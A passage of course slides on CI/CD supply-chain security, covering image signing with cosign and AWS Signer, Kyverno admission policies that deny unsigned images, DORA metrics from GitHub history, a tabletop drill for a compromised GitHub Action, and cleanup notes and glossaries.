      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: docker/login-action@<sha>
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - uses: docker/setup-buildx-action@<sha>
      - id: build
        uses: docker/build-push-action@<sha>
        with:
          push: true
          tags: ${{ env.IMG }}:${{ github.sha }}
      - uses: sigstore/cosign-installer@<sha>
      - name: sign
        if: github.event_name != 'workflow_dispatch' || inputs.sign
        env: {DIGEST: '${{ steps.build.outputs.digest }}'}
        run: cosign sign --yes "$IMG@$DIGEST"
      - name: provenance
        if: github.event_name != 'workflow_dispatch' || inputs.sign
        uses: actions/attest-build-provenance@<sha>
        with:
          subject-name: ${{ env.IMG }}
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true
      - env: {DIGEST: '${{ steps.build.outputs.digest }}'}
        run: echo "$IMG@$DIGEST" >> "$GITHUB_STEP_SUMMARY"

inputs.sign is empty on push events, so the if: also checks the event name; otherwise pushes to main would skip signing.

Lab 11 · Build (2/2)

Verify from your laptop — and the optional AWS Signer path

Verification names the identity you trust; "it has a signature" is not enough.

# after the first run: make the package public
#   github.com/<you>?tab=packages → cicd-lab/hello
#   → Package settings → Change visibility

IMG=ghcr.io/<you>/cicd-lab/hello
D=sha256:...                       # from the run summary
W=https://github.com/<you>/cicd-lab/.github/workflows
cosign verify "$IMG@$D" \
  --certificate-identity "$W/release.yml@refs/heads/main" \
  --certificate-oidc-issuer \
    https://token.actions.githubusercontent.com

gh attestation verify "oci://$IMG@$D" --repo <you>/cicd-lab

# what is attached to the digest
cosign tree "$IMG@$D"
# optional: ECR managed signing with AWS Signer
aws signer put-signing-profile \
  --profile-name cicdlab \
  --platform-id Notation-OCI-SHA384-ECDSA

# ECR console → Private registry → Settings → signing:
#   rule = signing profile cicdlab + filter cicd-lab/*
#   (the pusher's role needs signer:SignPayload)
# push an image (Lab 5) → ECR signs it automatically

# verify with Notation + the AWS Signer plugin,
# following the ECR managed signing guide for the
# trust policy and trust store setup:
REG=<acct>.dkr.ecr.ap-northeast-1.amazonaws.com
notation verify "$REG/cicd-lab/hello@sha256:..."

Use cosign/Sigstore when your verifiers are Kubernetes policy engines and public tooling; use AWS Signer when you want AWS-managed keys and IAM-controlled signing profiles.

Lab 11 · Verify, break it, clean up

What a signature proves — and what it does not

It proves who built it and from which workflow and commit. It does not prove the code is safe.

Verify

  • cosign verify prints the certificate subject (workflow URL@ref) and the Rekor log entry.
  • gh attestation verify shows the predicate type https://slsa.dev/provenance/v1 and the source commit.
  • cosign tree "$IMG@$D" (or oras discover) lists the signature and attestation attached to the digest.
  • Provenance buildDefinition names release.yml and the commit SHA you pushed.

Break it

  • Wrong identity: verify with …/deploy.yml@refs/heads/main → "none of the expected identities matched". Identity, not just "signed", is what you trust.
  • Moved tag: run the workflow with sign: false on a new commit, retag it as the old SHA tag in GHCR → verifying by tag now checks the unsigned image. Always verify and deploy by digest.
  • Build L3 (stretch): move build + attest into a reusable workflow and verify with gh attestation verify --signer-workflow <you>/cicd-lab/.github/workflows/build.yml.
# keep release.yml and the signed
# image: Lab 12 deploys it
# delete the package only at the end:
gh auth refresh -s delete:packages
gh api -X DELETE \
  /user/packages/container/cicd-lab%2Fhello
Lab 12 · Build (1/2)

Admission: install Kyverno and the policy

Goal: Kyverno on kind denies any pod whose image under ghcr.io/<you>/cicd-lab/ lacks a signature from your release workflow on main.

kubectl config use-context kind-cicd
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno \
  -n kyverno --create-namespace --wait
kubectl get crd imagevalidatingpolicies.policies.kyverno.io

# the identity we trust, built from two short parts
W=https://github.com/<you>/cicd-lab/.github/workflows
export SUBJ="$W/release.yml@refs/heads/main"
export ME=<you>

# render the policy (right) with envsubst (brew gettext)
envsubst < ivpol.yaml | kubectl apply -f -
kubectl get imagevalidatingpolicy signed-by-release
# ivpol.yaml
apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata: {name: signed-by-release}
spec:
  validationActions: [Deny]
  matchConstraints:
    resourceRules:
      - {apiGroups: [''], apiVersions: [v1],
         operations: [CREATE, UPDATE], resources: [pods]}
  matchImageReferences:
    - glob: 'ghcr.io/${ME}/cicd-lab/*'
  attestors:
    - name: gha
      cosign:
        keyless:
          identities:
            - issuer: https://token.actions.githubusercontent.com
              subject: ${SUBJ}
        ctlog: {url: 'https://rekor.sigstore.dev'}
  validations:
    - expression: >-
        images.containers.map(image,
          verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
      message: image must be signed by release.yml on main
Lab 12 · Build (2/2)

Admission: signed is admitted, unsigned is denied

Always deploy by digest: the policy verifies what the digest points to, and a tag can move.

# signed image from Lab 11 (digest from the run summary)
kubectl run ok \
  --image "ghcr.io/<you>/cicd-lab/hello@sha256:<signed>"
kubectl get pod ok                      # Running

# an unsigned image from the same repo
gh workflow run release.yml -f sign=false
gh run watch                            # note the new digest
kubectl run bad \
  --image "ghcr.io/<you>/cicd-lab/hello@sha256:<unsigned>"
# Error from server: admission webhook ... denied the request:
#   ... image must be signed by release.yml on main
# images outside matchImageReferences are not checked
kubectl run other --image nginx:1.27
kubectl get pod other                   # Running

# what Kyverno did
kubectl -n kyverno logs deploy/kyverno-admission-controller \
  --since=10m | grep -i signed-by-release

# reports (useful in Audit mode)
kubectl get policyreports -A
Lab 12 · Verify, break it, clean up

Deny by identity, observe in audit, then enforce

Roll admission policies out in Audit, read the reports, then switch to Deny.

Verify

  • ok runs; bad is denied with your message.
  • Signed image denied with "no signatures found"? First confirm cosign verify passes from your laptop; if it does, your Kyverno may not read cosign v3's bundle format yet: upgrade Kyverno and check both release notes.
  • kubectl get imagevalidatingpolicy signed-by-release shows the policy Ready.
  • Kyverno admission controller logs show the verification for each pod creation.

Break it

  • Audit first: set validationActions: [Audit], re-run bad → it is admitted; find the failure in kubectl get policyreports -A. Switch back to [Deny].
  • Wrong subject: change the subject to deploy.yml → even ok is now denied. A typo in a policy is an outage: test policies with the Kyverno CLI in CI.
  • Init containers: add an unsigned initContainers image → admitted, because the expression only checks images.containers. Extend it.
kubectl delete pod ok other --ignore-not-found
kubectl delete imagevalidatingpolicy \
  signed-by-release
helm uninstall kyverno -n kyverno
# at the very end:
kind delete cluster --name cicd
Lab 13 · Build (1/2)

Operations: the five DORA metrics from your own history

Goal: compute every metric from GitHub data you already have. Here a successful release.yml run counts as a deployment.

gh run list --workflow release.yml --limit 200 \
  --json databaseId,conclusion,createdAt,updatedAt,headSha \
  > runs.json

# 1) deployment frequency: successful releases per ISO week
jq -r '.[] | select(.conclusion=="success")
       | .createdAt[:10]' runs.json \
  | xargs -I{} date -j -f %Y-%m-%d {} +%G-W%V \
  | sort | uniq -c

# 2) change lead time: commit time -> release done (hours)
ts() { date -j -u -f %Y-%m-%dT%H:%M:%SZ "$1" +%s; }
jq -r '.[] | select(.conclusion=="success")
       | "\(.headSha) \(.updatedAt)"' runs.json |
while read sha done; do
  c=$(gh api "repos/<you>/cicd-lab/commits/$sha" \
        --jq .commit.committer.date)
  echo $(( ($(ts "$done") - $(ts "$c")) / 3600 ))
done | sort -n \
  | awk '{a[NR]=$1} END {print "median h:", a[int((NR+1)/2)]}'
# labels on merged PRs carry the instability signal:
#   incident = this deployment caused a production failure
#   hotfix   = an unplanned deployment to fix production
gh pr list --state merged --limit 200 \
  --json number,labels,mergedAt > prs.json
n() { jq "[.[] | select(any(.labels[]; .name==\"$1\"))]
          | length" prs.json; }
D=$(jq '[.[] | select(.conclusion=="success")] | length' runs.json)

# 3) change fail rate   = incident deployments / deployments
echo "CFR:    $(n incident) / $D"
# 4) deployment rework rate = hotfix deployments / deployments
echo "rework: $(n hotfix) / $D"

# 5) failed deployment recovery time: incident issue open -> closed
gh issue list --label incident --state closed --limit 100 \
  --json createdAt,closedAt \
  | jq '[.[] | ((.closedAt|fromdate) - (.createdAt|fromdate))
          / 3600] | sort | .[length/2|floor]'

macOS date -j -f; on Linux use date -d. Throughput: deployment frequency, change lead time, failed deployment recovery time. Instability: change fail rate, deployment rework rate.

Lab 13 · Build (2/2)

Tabletop: "an action we use was compromised"

Goal: rehearse the first hour. Scenario: actions/foo tags were repointed to malicious code between 30 Oct and 1 Nov.

# 1) are we using it, and pinned how?
grep -rn "uses: .*actions/foo" .github/
gh search code "actions/foo" --owner <you> \
  --filename '*.yml'

# 2) which runs executed in the window?
gh run list --created '2026-10-30..2026-11-01' \
  --limit 200 \
  --json databaseId,workflowName,headSha,createdAt \
  > window.json
jq length window.json

# 3) did those runs resolve the bad commit?
#    each run log records the SHA it downloaded:
gh run view <id> --log | grep -i "download action"

# 4) what could they reach?
gh secret list; gh secret list --env prod
aws iam get-role --role-name gha-cicd-lab \
  --query Role.AssumeRolePolicyDocument
# 5) contain
gh workflow disable release.yml
#    pin the action to a known-good SHA (or remove it)
#    rotate every secret the affected runs could read
#    revoke PATs / GitHub App keys used by those workflows

# 6) prove artifacts are clean
#    list images built in the window, by digest:
#    gh run view <id> → summary → digest
gh attestation verify "oci://$IMG@$D" --repo <you>/cicd-lab
#    rebuild + re-sign anything built in the window,
#    redeploy by the new digests (promotion PRs)

# 7) write it down
#    docs/incident-runbook.md: timeline, exposure,
#    rotations done, rebuilt digests, follow-ups
gh workflow enable release.yml
Lab 13 · Verify, break it, clean up

Numbers you can defend, and an hour you have rehearsed

Metrics are for the team to improve the system, never to rank people.

Verify

  • You can state all five metrics for the last 30 days with the command that produced each.
  • Change fail rate = incident-labelled deployments ÷ deployments; rework rate = hotfix deployments ÷ deployments.
  • The tabletop log answers: exposed? which runs? which credentials? what was rebuilt?

Break it

  • Pinned vs tag: in the tabletop, assume foo was referenced by tag @v1 in one workflow and by SHA in another → only the tag user ran the malicious code. Prove it from the run logs ("Download action repository … SHA:").
  • No labels, no metric: remove the labels → change fail rate is unknowable. Who adds the label, and when (part of the incident template)?
  • OIDC pays off: the role trusts environment:prod only — could a compromised PR job have assumed it?
rm -f runs.json prs.json
gh workflow enable release.yml
# write the tabletop outcome to
# docs/incident-runbook.md and commit it
Lab safety

Cost and cleanup

GitHub-hosted standard runners are free for public repos. AWS costs are small but real; clean up after Labs 5 and 11.

Can cost money

  • ECR storage per GB-month and data transfer out (multi-arch images + cache repo).
  • Amazon Inspector enhanced scanning: billed per image scanned on push and re-scanned continuously.
  • AWS Signer: per signature, if you try ECR managed signing.
  • GitHub larger runners and private-repo minutes beyond the free quota.
  • GHCR storage for private packages beyond the free quota.

Habits

  • Budget alarm before Lab 4 (Lab 0).
  • Keep cicd-lab public, so no secret ever goes in it; attack lab only in a deleted-afterwards private repo.
  • Fine-grained PATs with an expiry of days, scoped to one repo.
  • Delete IAM roles and the OIDC provider when you finish the AWS labs.
  • Run zizmor before pushing any new workflow.

Clean up

  • AWS: aws ecr delete-repository --force (both repos), aws inspector2 disable --resource-types ECR, scanning back to BASIC, delete role gha-cicd-lab and the OIDC provider, delete the budget last.
  • GitHub: delete cicd-lab-2, cicd-attack-lab, the GHCR package, and revoke GITOPS_PR_TOKEN.
  • Local: kind delete cluster --name cicd; docker image prune.
Glossary

CI/CD and GitHub Actions terms

Short anchors; explain each in your own words.

TermShort meaning
Continuous deliveryEvery change is releasable; deploy is a business decision
Continuous deploymentEvery passing change goes to production automatically
Build once, deploy manyOne immutable artifact promoted through environments
Trunk-based developmentSmall changes merged to main often, behind flags if needed
DORA metricsFive delivery metrics: throughput and instability
Deployment rework rateShare of deployments that were unplanned fixes for production
Merge queueTests each PR against the latest main before merging
TermShort meaning
Reusable workflowWorkflow called with workflow_call, inputs and secrets
Composite actionAction made of steps, run inside the caller's job
EnvironmentDeployment target with protection rules and its own secrets
RulesetBranch/tag rules: required checks, reviews, bypass list
OIDC tokenShort-lived signed identity of a job, exchanged for cloud credentials
sub claimToken subject: repo plus environment, ref or pull_request
Ephemeral runnerRunner used for exactly one job, then destroyed
Glossary

Supply chain security terms

Short anchors; explain each in your own words.

TermShort meaning
SBOMInventory of components in an artifact (SPDX, CycloneDX)
VEXStatement that a product is or is not affected by a vulnerability
EPSS / KEVExploit probability score / CISA list of exploited vulnerabilities
ProvenanceSigned record of how, where and from what an artifact was built
AttestationSigned statement (in-toto) about an artifact, e.g. provenance or SBOM
SLSAFramework of levels for build and source integrity
Pwn requestpull_request_target workflow that runs untrusted PR code with privileges
TermShort meaning
Keyless signingSigning with a short-lived certificate bound to an OIDC identity
FulcioSigstore CA that issues those short-lived certificates
RekorSigstore transparency log of signatures
Sigstore bundleOne file with signature, certificate and log proof (cosign v3 default)
Notation / AWS SignerNotary Project signing; AWS-managed keys and profiles
ImageValidatingPolicyKyverno CEL policy that verifies image signatures and attestations
DigestContent hash of an image; the only immutable reference
Further reading

Primary references

Tools and platforms change monthly here; when a slide and the docs disagree, the docs win.

GitHub Actions and identity

  • GitHub Actions docs — docs.github.com/actions
  • Security hardening for GitHub Actions — docs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions
  • OIDC reference (claims, sub formats) — docs.github.com/en/actions/reference/security/oidc
  • Immutable OIDC subject claims (Apr 2026) — github.blog/changelog/2026-04-23-immutable-subject-claims-for-github-actions-oidc-tokens
  • SHA pinning and blocking policy (Aug 2025) — github.blog/changelog/2025-08-15-github-actions-policy-now-supports-blocking-and-sha-pinning-actions/
  • Artifact attestations and SLSA Build L3 with reusable workflows — docs.github.com/actions/security-for-github-actions/using-artifact-attestations

Supply chain, AWS and policy

  • SLSA v1.2 — slsa.dev/spec/v1.2/
  • Sigstore docs — docs.sigstore.dev; cosign releases — github.com/sigstore/cosign/releases
  • Amazon ECR managed signing — docs.aws.amazon.com/AmazonECR/latest/userguide/managed-signing.html
  • Amazon Inspector ECR scanning — docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html
  • Kyverno policy types (ImageValidatingPolicy) — kyverno.io/docs/policy-types/overview/
  • OpenSSF Scorecard — scorecard.dev; zizmor — docs.zizmor.sh; OpenVEX — openvex.dev; DORA — dora.dev/guides/dora-metrics/
  • tj-actions/changed-files, CVE-2025-30066 (CISA alert, 18 Mar 2025) — cisa.gov/news-events/alerts
1 / 1